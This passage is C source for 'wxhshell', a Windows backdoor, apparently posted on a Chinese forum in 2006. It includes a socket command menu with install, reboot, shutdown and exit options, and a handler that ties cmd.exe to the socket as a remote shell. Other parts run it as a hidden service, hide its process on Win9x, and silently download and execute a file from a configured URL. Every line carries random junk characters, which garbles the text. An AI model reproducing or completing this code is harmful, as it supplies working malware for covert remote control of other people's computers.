    switch(cmd[0]) { +WfO2V.  
  <-s5 ;xwtS  
  // 帮助 D]*<J"/]d  
  case '?': { q 7aH=dhw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $e/[!3CASP  
    break; kx6-8j3gD7  
  } /;V:<mekf  
  // 安装 b6ui&Y8z  
  case 'i': { ^hyp}WN  
    if(Install()) :#nv:~2]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PsOu:`=r  
    else h%+6 y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^/:G`'  
    break; 4fgYO]  
    } %=<Kb\  
  // 卸载 `#y?:s ]e  
  case 'r': { Ojs ^-R_  
    if(Uninstall()) [`_-;/Gx2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?a{es!  
    else 9 6j*F,{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !UF (R^  
    break; mb#&yK(h  
    } x>eV$UJ  
  // 显示 wxhshell 所在路径 bTJ l  
  case 'p': { 3.@ I\p}  
    char svExeFile[MAX_PATH]; :Lh`Q"a  
    strcpy(svExeFile,"\n\r"); ' "I-! +  
      strcat(svExeFile,ExeFile); nf )y_5y  
        send(wsh,svExeFile,strlen(svExeFile),0); p$!Q?&AV/  
    break; P>[,,w  
    } RDsBO4RG  
  // 重启 HWOOw&^<  
  case 'b': { x/,(G~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qm5Sf=E7Q  
    if(Boot(REBOOT)) zTb,h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q zq3{%^x_  
    else { bd[%=5  
    closesocket(wsh); uj^l&"  
    ExitThread(0); df@G+v0_1  
    } atYe$Db  
    break; :7 OhplI  
    } Rt3/dw(p  
  // 关机 #J|DW C!#d  
  case 'd': { !rPU5y*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~=i<O&nai  
    if(Boot(SHUTDOWN)) jPA^SxM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U^ Ulj/%6  
    else { `2PvE4]%p  
    closesocket(wsh); aZB$%#'vR  
    ExitThread(0); o@ W:PmKW  
    } T.GB *  
    break; AH'4k(-  
    } j@C*kj;-  
  // 获取shell b5t:" >wC  
  case 's': { )L/o|%r!  
    CmdShell(wsh); o~tL;(sz  
    closesocket(wsh); xG~7kj3  
    ExitThread(0); &p_V<\(%  
    break; Ew>lk9La(  
  } $4u8"ne)  
  // 退出 }&Kl)2:O  
  case 'x': { K3-Cuku  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8XhGo2zf  
    CloseIt(wsh); y_}jf,b4  
    break; <MzXTy3\  
    } oa2v/P1`  
  // 离开 Pt[ b;}  
  case 'q': { C{2y*sx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hB??~>i3  
    closesocket(wsh); p$_X\,F  
    WSACleanup(); t;L7H E@Y  
    exit(1); d[$YTw  
    break; .g52p+Z#  
        } ]JvZ{fA%*  
  } *Y<1KXFU  
  } _>4Qh#6K  
@zi_@B  
  // 提示信息 HsRQiai*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &09g0K66  
} !lk9U^wnd  
  } ,*j@Zb_r  
/6yH ,{(a  
  return; Y7WU4He L  
} \z[L=  
At)\$GJ  
// shell模块句柄 m(p0)X),_i  
int CmdShell(SOCKET sock) :!<U"AC  
{ Rb l4aB+   
STARTUPINFO si; qY$]^gS  
ZeroMemory(&si,sizeof(si)); H&h"!+t(#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WYY&MHp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [$FiXH J  
PROCESS_INFORMATION ProcessInfo; 4">C0m;ks  
char cmdline[]="cmd"; JxLSQ-"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p$1y8Zbor  
  return 0; H0?Vq8I?  
} W}rLHAaDh  
{mmQv~|5q  
// 自身启动模式 NK$BF(HBi  
int StartFromService(void) =At)?A9[  
{ "HrZv+{  
typedef struct .qD=u1{p9  
{ E0aJ~A(Hv  
  DWORD ExitStatus; v%!'vhf_K  
  DWORD PebBaseAddress; Hwiftx  
  DWORD AffinityMask; #!R=h|  
  DWORD BasePriority; 3iBUIv  
  ULONG UniqueProcessId; Zil<*(kv{  
  ULONG InheritedFromUniqueProcessId; J[jzkzSu`  
}   PROCESS_BASIC_INFORMATION; :<i<\TH'  
}CB9H$FkCY  
PROCNTQSIP NtQueryInformationProcess; |P(8T'  
k btQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )F65sV{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EJaGz\\  
gib'f@i;  
  HANDLE             hProcess; {RHa1wc  
  PROCESS_BASIC_INFORMATION pbi; Ys+NIV#Q  
1}"Prx-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /\d@AB^5I  
  if(NULL == hInst ) return 0; RAAu3QKu  
NNn sq@?6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k5o{mWI b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }^]TUe@a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pfF2!`7pI  
t2RL|$>F1  
  if (!NtQueryInformationProcess) return 0; Cm~z0c|T  
L#Rj~&U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QM4O|x[   
  if(!hProcess) return 0; Bf8[(oc~  
!1[ZfTX^a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U}^`R,C  
-AZ\u\xCB  
  CloseHandle(hProcess); `*w!S8}m;  
*r].EBJ\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :?f^D,w_B  
if(hProcess==NULL) return 0; )2: ,E  
4v;KtD;M  
HMODULE hMod; ).8NZ Aj  
char procName[255]; !(#d 7R  
unsigned long cbNeeded; KSxZ4Y  
"T1A$DKw+R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;>r E+k%_  
p}(pIoyUF  
  CloseHandle(hProcess); BT* {&'\/  
%hN7K  
if(strstr(procName,"services")) return 1; // 以服务启动 Y20T$5{#  
]qO*(m:}o  
  return 0; // 注册表启动 OSIf>1  
} HL~DIC%  
eoxEnCU  
// 主模块 0i~?^sT'  
int StartWxhshell(LPSTR lpCmdLine) mG.H=iw  
{ h_\OtoRa  
  SOCKET wsl; mV#U=zqb!S  
BOOL val=TRUE; qTI_'q  
  int port=0; |)+45e  
  struct sockaddr_in door; Fr)6<9%xVm  
^|ul3_'?  
  if(wscfg.ws_autoins) Install(); !<= ^&\A  
k293 wS  
port=atoi(lpCmdLine); UYvdzCUh  
O1Nya\^g<I  
if(port<=0) port=wscfg.ws_port; tqzr +  
~vB dq Yj  
  WSADATA data; v{oHC4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w<Ot0&&  
grTwo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y@9ifFr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1!&m1  
  door.sin_family = AF_INET; u$ff %`E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n |Q' >  
  door.sin_port = htons(port); 2aJ_[3p/h]  
v?s%qb=T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !n|4w$t"V  
closesocket(wsl); e~PAi8B5  
return 1; a 3C\?5  
} *nlDN4Y[  
_6]c f!H  
  if(listen(wsl,2) == INVALID_SOCKET) { PYr'1D'  
closesocket(wsl); /PZxF  
return 1; Y;#H0v>E  
} BoP,MpF  
  Wxhshell(wsl); I\P w`  
  WSACleanup(); M+-1/vR *@  
Cp^`-=r+  
return 0; m(CAXq-t  
W3w$nV  
} 1)J' pDa  
rn RWL4  
// 以NT服务方式启动 AQTV1f_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jh"YHe/X  
{ X.[8L^ldh  
DWORD   status = 0; U?A3>  
  DWORD   specificError = 0xfffffff; HiSNEp$-4$  
.05x=28n%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <b_?[%(u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lt& c/xi_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dyVfDF  
  serviceStatus.dwWin32ExitCode     = 0; csj 4?]gI  
  serviceStatus.dwServiceSpecificExitCode = 0; )}1S `*J/O  
  serviceStatus.dwCheckPoint       = 0; b_']S0$c\  
  serviceStatus.dwWaitHint       = 0; ?6//'bO:%  
a\tv,Lx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J=Hyoz+9  
  if (hServiceStatusHandle==0) return; ^b6yN\,S  
*}=z^;_oq  
status = GetLastError(); >j)y7DSE  
  if (status!=NO_ERROR) Mi047-% (  
{ nTCwLnX(O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qL~|bfN  
    serviceStatus.dwCheckPoint       = 0; /A93mY[  
    serviceStatus.dwWaitHint       = 0; *Ke\Yb  
    serviceStatus.dwWin32ExitCode     = status; Uf#9y182*c  
    serviceStatus.dwServiceSpecificExitCode = specificError;  >f*Zf(F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :I8HRkp  
    return; G3j'A{  
  } VvTi>2(.  
='Yg^:n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |'](zEwq  
  serviceStatus.dwCheckPoint       = 0; "=!sZO?3  
  serviceStatus.dwWaitHint       = 0; U:uF rb,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a]@BS6  
} fr<V])  
RL b o  
// 处理NT服务事件,比如:启动、停止 ^1;Eq>u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A$-\Er+f  
{ e`zCz`R  
switch(fdwControl) l!j,9wz7  
{ DeTLh($\  
case SERVICE_CONTROL_STOP: G<Y}QhFU  
  serviceStatus.dwWin32ExitCode = 0; -YY@[5x?u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {9- n3j}  
  serviceStatus.dwCheckPoint   = 0;  0X}0,  
  serviceStatus.dwWaitHint     = 0; sF~!qag4q'  
  { qv3% v3\4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w]O,xO  
  } ?[2>x{5Z  
  return; }s:~E2?In  
case SERVICE_CONTROL_PAUSE: eDY)i9"W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G#j~8`3X  
  break; 'mk_s4J  
case SERVICE_CONTROL_CONTINUE: $y,tR.5.)[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zw_'u=r >  
  break; a([8r- zP  
case SERVICE_CONTROL_INTERROGATE: U\i7'9w]3  
  break; ?<1~KLPMhY  
}; lH/7m;M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |jb,sd[=S  
} ,M=s3D8C  
^wz 2e  
// 标准应用程序主函数 q``:[Sz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *+_+Z DU  
{ C sCH :>  
mb*|$ysPx  
// 获取操作系统版本 uMX\Y;N  
OsIsNt=GetOsVer(); 7' Gk ip  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y{9xF8#  
w#{S=^`}  
  // 从命令行安装 iC~ll!FA!  
  if(strpbrk(lpCmdLine,"iI")) Install(); }ZJJqJ`*e  
.p(%gmOp#  
  // 下载执行文件 ~8U0(n:^  
if(wscfg.ws_downexe) { F h+g@ u6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >tE6^7B*  
  WinExec(wscfg.ws_filenam,SW_HIDE); #,9#x]U#v  
} qm< mw"]  
_ O;R  
if(!OsIsNt) { 6 tl#AJ-  
// 如果时win9x,隐藏进程并且设置为注册表启动 %|'VucLx  
HideProc(); rDv`E^\  
StartWxhshell(lpCmdLine); =b#:j:r  
} 8/R9YiY5*  
else {'yr)(:2M  
  if(StartFromService()) H7}f[4S%  
  // 以服务方式启动 ^9 ^DA!'  
  StartServiceCtrlDispatcher(DispatchTable); {\gpXVrn_  
else gjk;An  
  // 普通方式启动 vsJM[$RF  
  StartWxhshell(lpCmdLine); 7sU,<Z/D  
{Mc;B9W  
return 0; j+("4b'  
}
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只看该作者 1 发表于: 2006-10-10
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